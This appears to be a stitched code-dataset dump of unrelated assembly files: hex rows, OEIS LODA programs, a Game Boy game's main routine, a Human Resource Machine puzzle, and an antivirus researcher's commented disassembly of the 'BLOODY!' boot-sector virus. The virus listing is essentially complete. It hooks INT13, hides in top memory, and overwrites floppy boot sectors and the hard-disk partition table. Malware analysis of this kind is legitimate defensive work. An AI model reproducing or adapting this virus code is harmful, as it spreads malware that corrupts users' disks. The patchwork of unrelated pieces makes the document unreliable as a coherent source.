00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 49 49 49 49 00 00 49 00 49 49 49 00 00 00 00 49 49 49 49 49 00 49 49 49 49 49 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 49 49 49 00 00 00 00 49 00 49 49 49 49 49 49 49 00 49 00 00 49 49 49 49 49 49 49 49 00 49 49 49 49 49 00 49 49 49 49 00 00 00 00 00 49 49 49 49 49 49 49 00 49 49 49 00 00 49 00 49 49 49 49 49 49 49 00 00 00 00 00 00 00 49 49 00 00 49 49 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 49 00 49 49 49 49 49 00 00 00 00 00 00 49 00 49 00 00 00 49 49 49 00 00 00 00 49
*/
| 53.886364 | 2,999 | 0.655631 |
b4ba53f6531ed04a01a143fcef23ab9cc9f6a02f | 773 | asm | Assembly | oeis/026/A026385.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/026/A026385.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/026/A026385.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A026385: Sum{T(n-k,k)}, 0<=k<=[ n/2 ], where T is the array in A026374.
; Submitted by Christian Krause
; 1,1,2,4,6,11,20,33,59,104,178,314,549,952,1669,2913,5074,8872,15482,27007,47172,82325,143675,250848,437822,764198,1334041,2328512,4064457,7094833,12384034,21616716,37732990,65863651,114967172,200679337,350291115,611444504,1067296298,1862997186,3251920925,5676330584,9908208781,17295090545,30189121458,52696047472,91982601874,160558502391,280259865748,489202355485,853917974795,1490540455120,2601784906998,4541496734990,7927324247153,13837391911104,24153599359121,42160861387553,73593099339586
lpb $0
sub $0,1
sub $1,$2
mul $3,2
sub $3,$4
mov $4,$2
add $2,$1
mov $1,$3
add $2,$3
add $4,1
add $5,$4
mov $3,$5
add $4,$2
lpe
mov $0,$2
add $0,1
| 36.809524 | 494 | 0.750323 |
11e1da2f711f270f2a14b5677a2d2a8b9eb34eca | 180 | asm | Assembly | target/analysis/Func004028A4.asm | katahiromz/DecodersTatami | 74df450ff66e28d9c7d185b5b4a064aa74c250b2 | [
"MIT"
] | 3 | 2021-06-27T13:11:40.000Z | 2021-06-28T13:08:29.000Z | target/analysis/Func004028A4.asm | katahiromz/DecodersTatami | 74df450ff66e28d9c7d185b5b4a064aa74c250b2 | [
"MIT"
] | 1 | 2021-06-28T13:48:17.000Z | 2021-06-28T13:48:17.000Z | target/analysis/Func004028A4.asm | katahiromz/DecodersTatami | 74df450ff66e28d9c7d185b5b4a064aa74c250b2 | [
"MIT"
] | 2 | 2021-06-27T14:26:41.000Z | 2021-10-06T04:51:46.000Z | proc imp.msvcrt.dll!fwrite Label_004028A4
attrs [[jumponly]]
# call_from : 00401C20
Label_004028A4:
004028A4: FF 25 E8 61 40 00 : jmp dword [0x4061e8]
end proc
| 25.714286 | 70 | 0.683333 |
530d897de29dac1e75291765f9a58d4a4df26026 | 702 | asm | Assembly | oeis/215/A215687.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/215/A215687.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/215/A215687.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A215687: Number of solid standard Young tableaux of shape [[2*n,2],[2]].
; Submitted by Jamie Morken(s3)
; 0,16,174,690,1876,4140,7986,14014,22920,35496,52630,75306,104604,141700,187866,244470,312976,394944,492030,605986,738660,891996,1068034,1268910,1496856,1754200,2043366,2366874,2727340,3127476,3570090,4058086,4594464,5182320,5824846,6525330,7287156,8113804,9008850,9975966,11018920,12141576,13347894,14641930,16027836,17509860,19092346,20779734,22576560,24487456,26517150,28670466,30952324,33367740,35921826,38619790,41466936,44468664,47630470,50957946,54456780,58132756,61991754,66039750,70282816
mov $1,$0
add $1,1
mul $1,$0
mul $1,2
add $1,$0
mul $0,2
bin $1,2
sub $1,$0
mov $0,$1
mul $0,2
| 46.8 | 498 | 0.794872 |
8b83062c8fa30a5f317d2893e440987eccb8ebb4 | 1,751 | asm | Assembly | programs/oeis/027/A027798.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/027/A027798.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/027/A027798.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A027798: a(n) = 26*(n+1)*C(n+3,13).
; 286,4368,35490,203840,928200,3564288,11992344,36279360,100524060,258658400,624660036,1427794368,3109779400,6489974400,13037895000,25310900160,47640468330,87185170800,155514818550,270951408000,461972150640,772082488320,1266697832400,2042738006400,3241845243000,5068393477056,7813773277128,11888824205440,17866757429040,26539480531200,38990920147088,56691754863744,81620941712310,116420568023760,164591912680650,230742186158016,320893269759608,442865927212800,606755456197800,825517627480000,1115687073539220,1498254090147360,1999730161529100,2653437476289600,3501063336771000,4594526754679680,5998211753100840,7791630048820800,10072584966130050,12960918738846000,16602936904461726,21176616405305088,26897718418028640,34026942976266240,42878280284039200,53828733402732288,67329608907151344,83919596333605760,104239883985378960,129051588132230400,159255805068892896,195916631126082048,240287534815255200,293841508110675200,358305470721948750,435699452397889680,528381134157967090,639096390220142400,771036538653599400,927903080823264000,1113980787924072120,1334220077764042560,1594329716908082700,1900880982826207200,2261424528313996500,2684621306710639296,3180389041900318248,3760065862345203840,4436592864092920440,5224717524490027200,6141220056910986138,7205164977908860144,8438180352574864710,9864767392361132160,11512643303015176400,13413120519475762176,15601525720509416688,18117662289488361600,21006320180031786600,24317837457306120000,28108718118706174040,32442311152566107520,37389556171675453200,43029801360951059200,49451699906944062000,56754191532300312960,65047576242258112230,74454687904232235600,85112175827031917850,97171903084888632000
mov $1,$0
add $0,13
bin $0,$1
add $1,11
mul $0,$1
mul $0,26
| 175.1 | 1,651 | 0.914335 |
54e57b1278f2bf84a848c86427c4716b43c58a0c | 432 | asm | Assembly | oeis/349/A349919.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/349/A349919.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/349/A349919.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A349919: Number of transitive relations on an n-set with exactly two ordered pairs.
; Submitted by Jon Maiga
; 0,0,5,27,90,230,495,945,1652,2700,4185,6215,8910,12402,16835,22365,29160,37400,47277,58995,72770,88830,107415,128777,153180,180900,212225,247455,286902,330890,379755,433845,493520,559152,631125,709835,795690,889110,990527,1100385,1219140,1347260,1485225,1633527,1792670
bin $0,2
mov $1,$0
add $1,$0
add $1,3
mul $0,$1
| 43.2 | 271 | 0.780093 |
fdc7b66627c158ba0662a257acd05b5196893eac | 10,549 | asm | Assembly | MSDOS/Virus.MSDOS.Unknown.bloody.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | 3 | 2021-05-15T15:57:13.000Z | 2022-03-16T09:11:05.000Z | MSDOS/Virus.MSDOS.Unknown.bloody.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | null | null | null | MSDOS/Virus.MSDOS.Unknown.bloody.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | 3 | 2021-05-15T15:57:15.000Z | 2022-01-08T20:51:04.000Z |
; BLOODY! virus
;
; Discovered an commented by Ferenc Leitold
; Hungarian VirusBuster Team
; Address: 1399 Budapest
; P.O. box 701/349
; HUNGARY
217D:0100 2EFF2E177C JMP Far CS:[7C17]
217D:0105 E9B500 JMP 01BD ; Jump to main entry point
217D:0108 00 db 0 ; Counter
217D:0109 00 db 0
217D:010A 00 db 0 ; Flag:
; 00 : floppy
; 80 : hard disk
217D:010B 00 db 0
217D:010C A100F0 MOV AX,[F000]
217D:010F 0301809F DW 0103H,9F80H ; Entry point at TOP
217D:0113 007C0000 DW 7C00H,0000H ; Address of orig. boot
217D:0117 057C0000 DW 7C05H,0000H
217D:011B 00000000 DW 0000H,0000H ; original INT13 vector
;************************ INT13 entry point *****************************
217D:011F 80FC02 CMP AH,02 ; Check parameters
217D:0122 720D JC 0131
217D:0124 80FC04 CMP AH,04
217D:0127 7308 JNC 0131
217D:0129 80FA80 CMP DL,80
217D:012C 7303 JNC 0131
217D:012E E80500 CALL 0136 ; Call, if AH=2,3 & DL!=80
217D:0131 2EFF2E0B00 JMP Far CS:[000B] ; Jump to original INT13
217D:0136 50 PUSH AX ; Save registers
217D:0137 53 PUSH BX
217D:0138 51 PUSH CX
217D:0139 52 PUSH DX
217D:013A 06 PUSH ES
217D:013B 1E PUSH DS
217D:013C 56 PUSH SI
217D:013D 57 PUSH DI
217D:013E 0E PUSH CS ; Set DS,ES to CS
217D:013F 1F POP DS
217D:0140 0E PUSH CS
217D:0141 07 POP ES
217D:0142 BE0200 MOV SI,0002 ; 2 probe
217D:0145 33C0 XOR AX,AX ; Reset drive
217D:0147 9C PUSHF
217D:0148 FF1E0B00 CALL Far [000B] ; Call INT13
217D:014C B80102 MOV AX,0201 ; Read boot sector of floppy
217D:014F BB0002 MOV BX,0200
217D:0152 B90100 MOV CX,0001
217D:0155 32F6 XOR DH,DH
217D:0157 9C PUSHF
217D:0158 FF1E0B00 CALL Far [000B] ; Call INT13
217D:015C 7305 JNC 0163
217D:015E 4E DEC SI ; If error next probe
217D:015F 75E4 JNZ 0145
217D:0161 EB2E JMP 0191 ; Jump, if 2 bad probes was
217D:0163 33F6 XOR SI,SI ; Check boot sector, if
217D:0165 BF0002 MOV DI,0200 ; if infected yet
217D:0168 B90300 MOV CX,0003
217D:016B FC CLD
217D:016C F3A7 REP CMPSW
217D:016E 7421 JZ 0191 ; Jump, if already infected
217D:0170 B80103 MOV AX,0301 ; Write orig. boot sector
217D:0173 BB0002 MOV BX,0200
217D:0176 B90300 MOV CX,0003 ; cyl: 0 sect: 3
217D:0179 B601 MOV DH,01 ; head: 1
217D:017B 9C PUSHF
217D:017C FF1E0B00 CALL Far [000B] ; Call INT13
217D:0180 720F JC 0191
217D:0182 B80103 MOV AX,0301 ; Write infected boot sector
217D:0185 33DB XOR BX,BX
217D:0187 B90100 MOV CX,0001 ; cyl:0 sect:1
217D:018A 32F6 XOR DH,DH ; head: 0
217D:018C 9C PUSHF
217D:018D FF1E0B00 CALL Far [000B]
217D:0191 5F POP DI ; Restore registers
217D:0192 5E POP SI
217D:0193 1F POP DS
217D:0194 07 POP ES
217D:0195 5A POP DX
217D:0196 59 POP CX
217D:0197 5B POP BX
217D:0198 58 POP AX
217D:0199 C3 RET
217D:019A 1D1D1D1A3737 ; Coded text:
217D:01A0 37373737557B ; "\r\r\r\n Bloody! Jun. 4, 1989\r\r\r\n"
217D:01A6 7878736E3637
217D:01AC 5D6279393723
217D:01B2 3B37262E2F2E
217D:01B8 1D1D1D1A00
;************************** Main entry point *******************************
217D:01BD 33C0 XOR AX,AX
217D:01BF 8ED8 MOV DS,AX
217D:01C1 FA CLI
217D:01C2 8ED0 MOV SS,AX
217D:01C4 BC007C MOV SP,7C00
217D:01C7 FB STI
217D:01C8 A14C00 MOV AX,[004C] ; Save orig. INT13 vector
217D:01CB A30B7C MOV [7C0B],AX
217D:01CE A14E00 MOV AX,[004E]
217D:01D1 A30D7C MOV [7C0D],AX
217D:01D4 A11304 MOV AX,[0413] ; Decrease memory by 2KB
217D:01D7 48 DEC AX
217D:01D8 48 DEC AX
217D:01D9 A31304 MOV [0413],AX
217D:01DC B106 MOV CL,06 ; Calculate segment
217D:01DE D3E0 SHL AX,CL
217D:01E0 A3117C MOV [7C11],AX
217D:01E3 A34E00 MOV [004E],AX ; Set new INT13 vector
217D:01E6 8EC0 MOV ES,AX
217D:01E8 B81F00 MOV AX,001F
217D:01EB A34C00 MOV [004C],AX
217D:01EE C7060F7C0301 MOV [7C0F],0103 ; Set JMP argument points
; to TOP
217D:01F4 BE007C MOV SI,7C00 ; Copy itself to TOP
217D:01F7 33FF XOR DI,DI
217D:01F9 B90001 MOV CX,0100
217D:01FC FC CLD
217D:01FD F3A5 REP MOVSW
217D:01FF FF2E0F7C JMP Far [7C0F] ; Jmp to TOP
TOP :0203 33C0 XOR AX,AX ; Reset drive
TOP :0205 CD13 INT 13
TOP :0207 0E PUSH CS ; Set registers to load
TOP :0208 1F POP DS ; original sector
TOP :0209 33C0 XOR AX,AX
TOP :020B 8EC0 MOV ES,AX
TOP :020D B80102 MOV AX,0201
TOP :0210 BB007C MOV BX,7C00
TOP :0213 803E0A0000 CMP [000A],00 ; Check, if it is floppy ?
TOP :0218 7435 JZ 024F ; Jump, if floppy
; if hard disk, load
; orig. part. table
TOP :021A B90600 MOV CX,0006 ; cyl.: 0 sect.: 6
TOP :021D BA8000 MOV DX,0080 ; head: 0
TOP :0220 CD13 INT 13
TOP :0222 0E PUSH CS
TOP :0223 07 POP ES
TOP :0224 FE060800 INC B/[0008] ; Increase counter
TOP :0228 803E080080 CMP [0008],80
TOP :022D 721E JC 024D ; If counter < 128 -> no text
TOP :022F C60608007A MOV [0008],7A
TOP :0234 FC CLD
TOP :0235 BE9A00 MOV SI,009A ; Write coded text via BIOS
TOP :0238 AC LODSB
TOP :0239 3C00 CMP AL,00
TOP :023B 740C JZ 0249
TOP :023D 32060300 XOR AL,[0003]
TOP :0241 B40E MOV AH,0E
TOP :0243 B700 MOV BH,00
TOP :0245 CD10 INT 10
TOP :0247 EBEF JMP 0238
TOP :0249 B400 MOV AH,00 ; Wait for keystroke
TOP :024B CD16 INT 16
TOP :024D EB54 JMP 02A3
; if floppy
TOP :024F B90300 MOV CX,0003 ; read orig. boot sector
TOP :0252 BA0001 MOV DX,0100 ; cyl: 0 hd: 1 sect: 3
TOP :0255 CD13 INT 13
TOP :0257 0E PUSH CS
TOP :0258 07 POP ES
TOP :0259 721D JC 0278 ; Jump, if error occured
TOP :025B B80102 MOV AX,0201 ; Load part. table of
TOP :025E BB0002 MOV BX,0200 ; 1st hard disk
TOP :0261 B90100 MOV CX,0001
TOP :0264 BA8000 MOV DX,0080
TOP :0267 CD13 INT 13
TOP :0269 720D JC 0278 ; Jump, if error occured
TOP :026B BE0002 MOV SI,0200 ; Check 1st 3 word
TOP :026E 33FF XOR DI,DI
TOP :0270 B90300 MOV CX,0003
TOP :0273 FC CLD
TOP :0274 F3A7 REP CMPSW
TOP :0276 750E JNZ 0286
; If infected yet
TOP :0278 C6060A0000 MOV [000A],00 ; Set Flag to 0
TOP :027D C606080000 MOV [0008],00 ; Reset counter
TOP :0282 FF2E1300 JMP Far [0013] ; Jump to orig. boot
TOP :0286 B80103 MOV AX,0301 ; Write orig. part. table
TOP :0289 BB0002 MOV BX,0200
TOP :028C B90600 MOV CX,0006 ; cyl: 0 sect: 6 hd: 0
TOP :028F CD13 INT 13
TOP :0291 72E5 JC 0278
TOP :0293 BEBE03 MOV SI,03BE ; Copy partition info
TOP :0296 BFBE01 MOV DI,01BE ; after virus body
TOP :0299 B92101 MOV CX,0121
TOP :029C F3A5 REP MOVSW
TOP :029E C6060A0001 MOV [000A],01
TOP :02A3 B80103 MOV AX,0301 ; Write boot sector or
; partition table with
; increased counter
TOP :02A6 33DB XOR BX,BX
TOP :02A8 B90100 MOV CX,0001
TOP :02AB CD13 INT 13
TOP :02AD BEBE04 MOV SI,04BE ; Clear area of partition
TOP :02B0 BFBE01 MOV DI,01BE ; info
TOP :02B3 B92000 MOV CX,0020
TOP :02B6 F3A5 REP MOVSW
TOP :02B8 EBBE JMP 0278 ; Set parameters &
; jump to orig. boot
TOP :02BA DE07 ESC 30,[BX]
TOP :02BC DF07 ESC 38,[BX]
TOP :02BE 0000 ADD [BX+SI],AL
TOP :02C0 0000 ADD [BX+SI],AL
TOP :02C2 0000 ADD [BX+SI],AL
TOP :02C4 0000 ADD [BX+SI],AL
TOP :02C6 0000 ADD [BX+SI],AL
TOP :02C8 0000 ADD [BX+SI],AL
TOP :02CA 0000 ADD [BX+SI],AL
TOP :02CC 0000 ADD [BX+SI],AL
TOP :02CE 0000 ADD [BX+SI],AL
TOP :02D0 0000 ADD [BX+SI],AL
TOP :02D2 0000 ADD [BX+SI],AL
TOP :02D4 0000 ADD [BX+SI],AL
TOP :02D6 0000 ADD [BX+SI],AL
TOP :02D8 0000 ADD [BX+SI],AL
TOP :02DA 0000 ADD [BX+SI],AL
TOP :02DC 0000 ADD [BX+SI],AL
TOP :02DE 0000 ADD [BX+SI],AL
TOP :02E0 0000 ADD [BX+SI],AL
TOP :02E2 0000 ADD [BX+SI],AL
TOP :02E4 0000 ADD [BX+SI],AL
TOP :02E6 0000 ADD [BX+SI],AL
TOP :02E8 0000 ADD [BX+SI],AL
TOP :02EA 0000 ADD [BX+SI],AL
TOP :02EC 0000 ADD [BX+SI],AL
TOP :02EE 0000 ADD [BX+SI],AL
TOP :02F0 0000 ADD [BX+SI],AL
TOP :02F2 0000 ADD [BX+SI],AL
TOP :02F4 0000 ADD [BX+SI],AL
TOP :02F6 0000 ADD [BX+SI],AL
TOP :02F8 0000 ADD [BX+SI],AL
TOP :02FA 0000 ADD [BX+SI],AL
TOP :02FC 0000 ADD [BX+SI],AL
TOP :02FE 55 PUSH BP
TOP :02FF AA STOSB
| 37.540925 | 76 | 0.513224 |
7f34005d8b951ab2319c380e1f265d1940a90684 | 383 | asm | Assembly | programs/oeis/100/A100774.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/100/A100774.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/100/A100774.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A100774: a(n) = 2*(3^n - 1).
; 0,4,16,52,160,484,1456,4372,13120,39364,118096,354292,1062880,3188644,9565936,28697812,86093440,258280324,774840976,2324522932,6973568800,20920706404,62762119216,188286357652,564859072960,1694577218884,5083731656656,15251194969972,45753584909920,137260754729764,411782264189296,1235346792567892,3706040377703680
mov $1,3
pow $1,$0
div $1,2
mul $1,4
| 47.875 | 313 | 0.814621 |
b1b695df131df0552fdd3fda1affdcc942307c51 | 3,868 | asm | Assembly | src/main.asm | Gegel85/BTTGB | 4efeb1470759f0c391a0543649f3bd9a96a17eef | [
"MIT"
] | 1 | 2020-03-28T22:38:50.000Z | 2020-03-28T22:38:50.000Z | src/main.asm | Gegel85/BTTGB | 4efeb1470759f0c391a0543649f3bd9a96a17eef | [
"MIT"
] | null | null | null | src/main.asm | Gegel85/BTTGB | 4efeb1470759f0c391a0543649f3bd9a96a17eef | [
"MIT"
] | null | null | null | include "src/constants.asm"
include "src/macro.asm"
SECTION "Main", ROM0
; Locks the CPU
; Params:
; None
; Return:
; None
; Registers:
; N/A
lockup::
reset INTERRUPT_ENABLED
halt
; Main function
main::
call init ; Init
ld sp, $E000 ; Init stack
call intro
mainMenu::
call waitVBLANK
reset LCD_CONTROL
ld [WX], a
reg WY, $90
ld de, menuChannelOne
ld hl, MUSIC_CHANNEL_1
call playMusic
ld de, menuChannelTwo
ld hl, MUSIC_CHANNEL_2
call playMusic
ld de, menuChannelThree
ld hl, MUSIC_CHANNEL_WAVE
call playMusic
ld hl, LogoPal
ld a, $8
ld bc, $10
ld e, BGPI & $FF
call setGBCPalette
ld hl, MenuLogo
ld bc, MenuLogoEnd - MenuLogo
ld de, $8600
call copyMemory
.lateInit:
call waitVBLANK
reset LCD_CONTROL
ld de, VRAM_BG_START
ld bc, $400
xor a
call fillMemory
reg VRAM_BANK_SELECT, 1
ld de, VRAM_BG_START
ld bc, $400
xor a
call fillMemory
ld a, 2
ld de, $9984
ld bc, pressStartEnd - pressStart
call fillMemory
reset VRAM_BANK_SELECT
ld de, OAM_SRC_START
ld bc, $A0
xor a
call fillMemory
ld hl, pressStart
ld bc, pressStartEnd - pressStart
ld de, $9984
call copyMemory
ld hl, VRAM_BG_START + $20 + 6
ld b, 8
ld a, $60
.copyLogo:
ld c, 8
.copyLogoLine::
push af
ld [hl], a
reg VRAM_BANK_SELECT, 1
ld [hli], a
reset VRAM_BANK_SELECT
pop af
inc a
dec c
jr nz, .copyLogoLine
push af
ld a, l
add $20 - 8
ld l, a
ld a, h
adc $0
ld h, a
pop af
dec b
jr nz, .copyLogo
reg LCD_CONTROL, LCD_BASE_CONTROL
xor a
push af
.loop:
call random
reset INTERRUPT_REQUEST
halt
call updateMusics
jr nz, .skip
.skip:
pop af
dec a
push af
jr z, .credits
call getKeys
bit 7, a
jr nz, .loop
jr run
.credits:
jp credits
; Runs the main program
run::
xor a
ld bc, 4
ld de, TIMER_REGISTER
call fillMemory
ld bc, bttChannelOne
ld de, bttIntroOne
ld hl, MUSIC_CHANNEL_1
call playMusicIntro
ld bc, bttChannelTwo
ld de, bttIntroTwo
ld hl, MUSIC_CHANNEL_2
call playMusicIntro
ld bc, bttChannelThree
ld de, bttIntroThree
ld hl, MUSIC_CHANNEL_WAVE
call playMusicIntro
ld bc, bttChannelFour
ld de, bttIntroFour
ld hl, MUSIC_CHANNEL_NOISE
call playMusicIntro
ei
reg INTERRUPT_ENABLED, VBLANK_INTERRUPT
call waitVBLANK
reset LCD_CONTROL
reg WY, $88
reg WX, $68
ld hl, $9C02
ld a, ":"
ld [hli], a
inc hl
inc hl
ld [hl], a
ld de, VRAM_START
ld hl, GameSprites
ld bc, GameSpritesEnd - GameSprites
call copyMemory
ld de, VRAM_START + PLAYER_SPRITE_NBR * $10
ld hl, PlayerSprites
ld bc, PlayerSpritesEnd - PlayerSprites
call copyMemory
ld de, allMaps
ld a, [de]
ld l, a
inc de
ld a, [de]
ld h, a
inc de
ld a, [de]
call loadMap
xor a
ld [CURRENTLY_LOADED_MAP], a
ld hl, playerPal
ld e, OBPI & $FF
ld bc, 8
call setGBCPalette
reg VRAM_BANK_SELECT, 1
reset $9C00
ld [VRAM_BANK_SELECT], a
reg LCD_CONTROL, LCD_BASE_CONTROL
call initGravity
call initPlayers
call initAnimation
.gameLoop:
reset INTERRUPT_REQUEST
halt
call displayTimer
call updateCameras
call updateGravity
call updatePlayer
call updateAnimation
call updateMusics
call updateTimer
jr .gameLoop
include "src/init.asm"
include "src/fatal_error.asm"
include "src/utils.asm"
include "src/strutils.asm"
include "src/interrupts.asm"
include "src/rendering.asm"
include "src/player.asm"
include "src/play_sound.asm"
include "src/intro.asm"
include "src/basic_object.asm"
include "src/text.asm"
include "src/credits.asm"
include "src/map.asm"
include "src/camera.asm"
include "src/displayable_object.asm"
include "src/gravity.asm"
include "src/btt_channel_one.asm"
include "src/btt_channel_two.asm"
include "src/btt_channel_three.asm"
include "src/btt_channel_four.asm"
include "src/player_animation.asm"
include "src/menu_channel_one.asm"
include "src/menu_channel_two.asm"
include "src/menu_channel_three.asm"
include "src/timer.asm"
| 15.917695 | 44 | 0.726991 |
91181feef991f47c6e8b95c21eb87c24b154c1e4 | 3,740 | asm | Assembly | examples/fibonacci.asm | hixio-mh/hrm-cpu | e119e1952807aa3a299b61af3e5607497ecfac92 | [
"MIT"
] | 24 | 2015-10-22T00:12:30.000Z | 2022-02-21T22:23:39.000Z | examples/fibonacci.asm | hixio-mh/hrm-cpu | e119e1952807aa3a299b61af3e5607497ecfac92 | [
"MIT"
] | 27 | 2015-10-21T04:21:10.000Z | 2015-11-05T00:55:12.000Z | examples/fibonacci.asm | hixio-mh/hrm-cpu | e119e1952807aa3a299b61af3e5607497ecfac92 | [
"MIT"
] | null | null | null | -- HUMAN RESOURCE MACHINE PROGRAM --
COMMENT 0
COPYFROM 9
COPYTO 8
BUMPUP 8
COMMENT 1
a:
INBOX
COPYTO 0
COMMENT 2
COPYFROM 9
COPYTO 1
COPYFROM 8
COPYTO 2
OUTBOX
COMMENT 3
b:
COPYFROM 2
ADD 1
COPYTO 3
COPYFROM 0
SUB 3
JUMPN a
COPYFROM 3
OUTBOX
COPYFROM 2
COPYTO 1
COPYFROM 3
COPYTO 2
JUMP b
DEFINE COMMENT 0
eJxTZWBg+CDStKVEuG7WNqGdGUAuw20BBgcQvVpp+hp59c/VNhreZVe1mvJf6S0paDbsr5AxWdElYj59
DUjNG9c1SwRd3BdOdZo8KdphScEf+/eJIPG59lXWIPpvWISVfdgKV/uwz9V/w1Z0mUfOn10YrbZAPilz
EUg+IEAw+UK0Ucrq2DXxIH7EP5/dDKNgFIwCugEAev00hA;
DEFINE COMMENT 1
eJyzZGBgmKxdujpGJmTVBxGW+Qn8ARPUeGc3tvJqldYIhKReFn4UwSsWEyIlW5pmLpeQN02uvyJGZnbj
X2nFtkap1A5/0bZOK0HFNqAxDIYWr90rHE+66bkW+uz3yoz96fMnS8xvQ2WpX1WDmN+Pqfu9WOZzunct
3uTctXipjeR0HqvXPTxWDK3ZVlUNh2yPFtrZJ+RNdbLPZfTyLgOZ97NdbYFcm17/ohaOktbmQh+Q2Jfa
EAUQfXPyveaqyVqlNyfXhZ6cWehjM6/Q5+qC7wF5i88mdC95XtS9pK0TpG7RL/tNDKNgFIwCnAAAG6ZX
dA;
DEFINE COMMENT 2
eJyzY2Bg2CaUuahPsWsxkxrLfBfVmJmskhH1H0SOFooKh6RuE2KJmigSE8IqaR0MVMpwyPbH1FNWP6Yu
MAqYwK/r3C6utaEyUvN5UaTmn6yrWmrR3Xp6XmkGbS7/jVa4bjW75l9sHhMiYu4eU21yK/OR4dHCFfpa
pZO1tUpBZt3x1jJY5LnFb5Fnadp+r6Z8ax+t0o/+orWNoWZ1IPk3rixRYn6PIthCYkJ2h2/xA4kxJXbF
zU72LjNJ29sUmH6v+VXm3ib27EtVK7LeJ4Lk71fab1KstA4Ortvit6pxi9+T5rpQubY/WYytCXnBdU35
IDVPft5axzAKRsEoAAMA+h5dvg;
DEFINE COMMENT 3
eJwzZ2Bg8FFybj+hfK85Ue15UaKabM5i1dK0E8pnE8zlDoYflowJ0RLf4rdO9KTbabF7djEyEVZvFc0s
gdoYGqXM6kLkFdsylVM7QHw1j8/VDXaitSLmGyplTHLLPfX/ZOXpZsY2GwZ4V5u0uay1THU+ZbXC9bn1
owhN6664Wya3MkH60rIfz+3OzFw0Oe3WOpvk59vlk55vfxovuKIt/n3i2xgeT6FoZ6flwbNtAgIYHCJ8
T7rN8rnm/9OHJarUb008X6BRypGQ0rSvkaVphdGCyX0xatEgM/W+HZzDMApGwSggCADehVQ7;
DEFINE LABEL 0
eJwzZ2BgUOPduTaDZ82SDB7J6a28DK0zBe1zS4RDUieKGKWcFitNS5HkKJkml7lIX1Gr9K3ikgIu5aZ8
F1WtUnn1qoYyrXNLgUYwvLc4m5BtlRnb6iEZpB10zX93+DX/GxGSQfoxWqX6Makdm6PqZklFvF/2Mqh0
tbVPyCo1j3NLC1xY5k91mjxpqtOKrk3ODK3ebhH1d7w3VHYFbaiMCTermxa5twlk9tXUc0vZs2NmWha0
dbJUlKaBxPIy3icezZbNcSs/OCe6+v0ykJhzS+aihNbMRSC22k+tXQyjYBSMAoIAANOuUw0;
DEFINE LABEL 1
eJyzYmBgcObrM37Ce8/Ome9S1T7+c0t/CG7YBxRm+KXxuuepyo+pmcqS04UUuhYLKZSuTlTj2HlXXWvX
WV2OnY8M/6x3NHo895HhtSmBOrcyf2lkxjKpdcUVKoSkmsuFpILM+OIUskrQZefa4+5/1m/3/bP+il/p
6it+XYtn+VjP8HY72f3Fqa3zvt29Zjebz9VLbZ4XmTkJJhe4nE144/o+sdVjejrIjCMhPJ5HQpYUNIa2
dc4L2zL5RsTjuT6xIasWJ9xadzX11jr+jOlrXmW+XwZR+7xoeTBHyYNQjhKmxIQ8kNiiX7OPMYyCUTAK
sAIACytnRA;
DEFINE LABEL 2
eJzzY2BgmCiyM8NKcE28M59atBovS9R5TrVoSbadGc8ZGFqfM1yb8oela7Ez35/1L8RlNypJTV8D1MJg
o3G0UF79c7W8OkNrpGbhxE/a82e/0lNb0GzovjDOmGX+d9MfU4vNX/dMsPhcPcFCNgekZ6qT5PReV44S
